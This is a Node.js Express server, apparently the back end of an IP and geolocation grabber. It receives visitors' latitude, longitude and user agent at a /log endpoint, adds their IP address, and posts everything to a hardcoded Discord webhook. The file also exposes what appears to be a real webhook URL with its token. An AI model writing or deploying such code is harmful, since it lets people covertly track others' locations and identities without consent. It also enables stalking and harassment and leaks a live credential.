const express = require('express'); const axios = require('axios'); const app = express(); const port = process.env.PORT || 3000; // **Replace this with your actual Discord webhook URL** const webhookUrl = 'https://discord.com/api/webhooks/1389370240906956830/mRlxfL1cdBpc_zXXyGFtWJOeTRhi2qpuMLUPxlIParP0ARDf2Cp9wuFuFouhdWkH1EMV'; // <-- Your Webhook URL here app.use(express.json()); // Middleware to get the user's IP address app.use((req, res, next) => { const ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress; req.ipAddress = ip; next(); }); // Endpoint to log geolocation and IP address app.post('/log', async (req, res) => { const { latitude, longitude, userAgent } = req.body; const ip = req.ipAddress; const logData = { ip: ip, location: `Latitude: ${latitude}, Longitude: ${longitude}`, userAgent: userAgent, }; // Send data to Discord webhook try { await sendToDiscord(logData); res.status(200).send('Data logged successfully'); } catch (error) { console.error('Error sending data to Discord:', error); res.status(500).send('Error logging data'); } }); // Function to send the log data to Discord async function sendToDiscord(data) { const payload = { content: `**IP:** ${data.ip}\n**Location:** ${data.location}\n**User Agent:** ${data.userAgent}`, }; try { await axios.post(webhookUrl, payload); console.log('Data sent to Discord'); } catch (error) { console.error('Error sending to Discord:', error); } } app.listen(port, () => { console.log(`Server is running on port ${port}`); });